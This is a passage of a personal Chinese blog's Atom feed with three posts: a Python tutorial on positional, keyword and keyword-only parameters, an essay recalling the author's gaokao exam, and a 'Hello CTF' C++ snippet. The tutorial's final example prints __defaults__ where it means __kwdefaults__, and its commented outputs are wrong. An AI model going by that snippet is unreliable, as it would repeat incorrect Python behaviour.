    <category term="游记" scheme="https://c26h52.github.io/tags/%E6%B8%B8%E8%AE%B0/"/>
    
  </entry>
  
  <entry>
    <title>Python函数的位置参数和关键词参数</title>
    <link href="https://c26h52.github.io/2023/09/29/python-han-shu-de-wei-zhi-can-shu-he-guan-jian-ci-can-shu/"/>
    <id>https://c26h52.github.io/2023/09/29/python-han-shu-de-wei-zhi-can-shu-he-guan-jian-ci-can-shu/</id>
    <published>2023-09-28T17:55:58.000Z</published>
    <updated>2023-09-28T18:31:19.423Z</updated>
    
    <content type="html"><![CDATA[<p>Python函数有两种参数：位置参数和关键词参数。位置参数可以不指定传入参数名，但是不能调换传参的先后顺序；关键词参数必须指定传入参数名，可以调换传参的先后顺序</p><p>比如：<br></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def register(Username,Password):    ...    register('C26H52','123456')<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><br>这就是典型的位置传参，读取到的’C26H52’就是Username，’123456’就是Password<p></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def register(Username,Password):    ...    register(Password='123456',Username='C26H52')<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这就是典型的关键词传参，根据参数名读取后’C26H52’作为Username传入，’123456’作为Password传入</p><p>Python参数中有两种分隔符：/和<em>，/分隔符之前传入的参数仅限位置参数，</em>分隔符之后传入的参数仅限关键词参数，这两个分隔符中间的参数是位置或关键词参数<br>譬如<br></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def register(Username,/,Password,*,Name):    ...    #按这样定义的函数，Username一定要位置传参，Name一定要关键词传参，Password作自由选择    register('C26H52','123456',Name='cjy') #正确示例    register(Username='C26H52',Password='123456','cjy') #错误示例，Username只能位置传参，Name只能关键词传参<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p></p><p>Python在函数定义的时候可以给参数设置默认值（default）<br></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def register(Username='C26H52',/,Password='123456',*,Name='cjy'):    ...        register() #Username='C26H52',Password='123456',Name='cjy'    register(Username='Q_T',Password='654321',Name='jb') #Username='Q_T',Password='654321',Name='jb'<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p></p><p>如果给一个仅位置参数设定默认值，那么该参数以后所有的仅位置/位置或关键字参数都必须设置默认值<br></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def register(Username='C26H52',/,Password='123456',*,Name='cjy') #正确示例def register(Username='C26H52',/,Password,*,Name='cjy') #错误示例，由于Username有默认值，Password必须也要设置默认值<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p></p><p><strong>defaults</strong>是函数的内置属性，function.<strong>defaults</strong>从左到右表示function函数非仅关键字参数的默认值（仅关键字参数的位置显示空白）<br>如<br></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def func1(a=1,b=2,c=3):    passdef func2(a=1,/,b=2,*,c=3):    passprint(func1.__defaults__) #(1,2,3)print(func2.__defaults__) #(1,2,)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p></p><p>而<strong>kwdefaults</strong>则是另一个内置属性，function.<strong>kwdefaults</strong>从左到右表示function函数仅关键字参数的默认值（以键值对的形式存储）<br>如<br></p><pre class="line-numbers language-Python" data-language="Python"><code class="language-Python">def func1(a=1,b=2,c=3):    passdef func2(a=1,/,b=2,*,c=3):    passprint(func1.__defaults__) #Noneprint(func2.__defaults__) #{'c':3}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Python函数有两种参数：位置参数和关键词参数。位置参数可以不指定传入参数名，但是不能调换传参的先后顺序；关键词参数必须指定传入参数名，可以调换传参的先后顺序&lt;/p&gt;
&lt;p&gt;比如：&lt;br&gt;&lt;/p&gt;&lt;pre class=&quot;line-numbers language-Pyth</summary>
      
    
    
    
    <category term="基础知识" scheme="https://c26h52.github.io/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="Python" scheme="https://c26h52.github.io/tags/Python/"/>
    
  </entry>
  
  <entry>
    <title>高考</title>
    <link href="https://c26h52.github.io/2023/06/08/gao-kao/"/>
    <id>https://c26h52.github.io/2023/06/08/gao-kao/</id>
    <published>2023-06-07T16:11:51.000Z</published>
    <updated>2023-06-09T17:23:01.041Z</updated>
    
    <content type="html"><![CDATA[<p>一年前的高考第一天，2022年6月7日中午，我在宿舍打开了一把三国杀对局，选了个曹操，然后在一局内被闪电劈中三次（“劈中”是指随便翻开一张未知的牌，花色是♠2~9，效果是会对当前角色造成3点伤害）。午睡醒后，我把这事分享给我的舍友，他们告诉我，“你下午考数学肯定要起飞了”</p><p>2022年6月7日下午，我经历了整个高考三天最折磨的两个小时：从第一道数列题开始，六道大题，第二问基本毫无思路，无从下笔。</p><p>虽说“人难我难，我不畏难”，但对未知的东西感到恐惧，是人的天性：可能你苦思冥想也百思不得其解的题，你身边的人电光火石间就能解决，即使你不认为他的实力比你强多少。</p><p>在对考试结果未知的恐慌与焦虑中，我像挤牙膏一般填满了答题卡空白的每个角落。收卷铃打响的那一刻，我松开握着的笔，双手张开，等待着监考老师收齐试卷和答题卡，等待着命运女神审判我的高考。</p><p>——这就是一年前的高考在我的脑海里留下的最深刻的回忆，至于结果，只能说感觉不尽如人意：没有哪科在看到成绩后会发出“哇我这科居然超常发挥了”的惊叹，倒是有的科看完成绩，一直在反思为什么和预期的结果相差了十万八千里。</p><p>对我的成绩满意吗？可能永远也不会满意。时至今日，我也无法忘却我查分时的那种失望，那种感觉就像是你幻想着即将喝到一杯甜甜糯糯的奶茶，结果嘬一口，只尝到了苦瓜汁，心中只剩植物大战僵尸里面僵尸咬到大蒜的苦涩感。</p><p>那我会悔恨当初吗？其实也不会，倒不是说我没感觉到遗憾，正相反，我觉得高考给我留下了无尽的遗憾。但是悔恨感和遗憾感是虚浮的，是无力的，是无法指导我们解决现实问题的。记得王安石在游览完褒禅山后，提笔写下一句“尽吾志也而不能至者，可以无悔矣，其孰能讥之乎”。是的，可以说我或许再努力些，故事的结局会截然不同。但或许，在千千万万个平行时空中，总会在时间线上发生这样那样的事，改变叙事的进程，让结局回归最后既定的事实。而我的勤耕不缀并没有对不起我的初心与抱负，那即使登不到山顶，也无妨和自己和解，流连于半山腰，欣赏独属于自己的那份风景吧。</p><p>时间是残忍的，听一百遍《反方向的钟》，也不能改变2018年10月20号rng的基地被g2推平的事实；把时针逆向拨一百圈，也无法阻止ame的水人在og高地反向波葬送lgd冠军梦。至少在时光机发明以前，你我都不能回溯到过往的某段时空，无论这段时空是像黄金一般令人神往的甜蜜的回忆，还是像石块一样令人不堪回首的苦涩曾经，你都只能驻足，观望，而做不到挽留或者扭转。</p><p>——那就放下它，继续自己本应该走完的旅程吧。</p><p>2023年6月10号的1点14分，这一刻，应该绝大多数高考生都已笔尖合盖，刀剑入鞘。愿各位圆梦理想的大学，也祝福大家都将高考作为旅途上别致的风景，在步入大学的校园后，依然乐观向前，依然相信明天和远方。<br>——“如果再也不能见到你，祝你早安，午安，晚安。”</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;一年前的高考第一天，2022年6月7日中午，我在宿舍打开了一把三国杀对局，选了个曹操，然后在一局内被闪电劈中三次（“劈中”是指随便翻开一张未知的牌，花色是♠2~9，效果是会对当前角色造成3点伤害）。午睡醒后，我把这事分享给我的舍友，他们告诉我，“你下午考数学肯定要起飞了”&lt;</summary>
      
    
    
    
    <category term="随笔" scheme="https://c26h52.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
    <category term="随笔" scheme="https://c26h52.github.io/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
  <entry>
    <title>C26H52的新手村入门心得</title>
    <link href="https://c26h52.github.io/2023/01/02/1/"/>
    <id>https://c26h52.github.io/2023/01/02/1/</id>
    <published>2023-01-01T16:20:10.000Z</published>
    <updated>2023-06-07T16:17:55.876Z</updated>
    
    <content type="html"><![CDATA[<p>失败总是贯穿人生始终，这就是人生</p><pre class="line-numbers language-C" data-language="C"><code class="language-C">#include&lt;iostream&gt;using namespace std;int main(){    cout&lt;&lt;"Hello CTF"&lt;&lt;endl;    return 0;}<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;失败总是贯穿人生始终，这就是人生&lt;/p&gt;
&lt;pre class=&quot;line-numbers language-C&quot; data-language=&quot;C&quot;&gt;&lt;code class=&quot;language-C&quot;&gt;
#include&amp;lt;iostream&amp;gt;
using name</summary>
      
    
    
    
    <category term="随笔" scheme="https://c26h52.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
    <category term="随笔" scheme="https://c26h52.github.io/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
</feed>
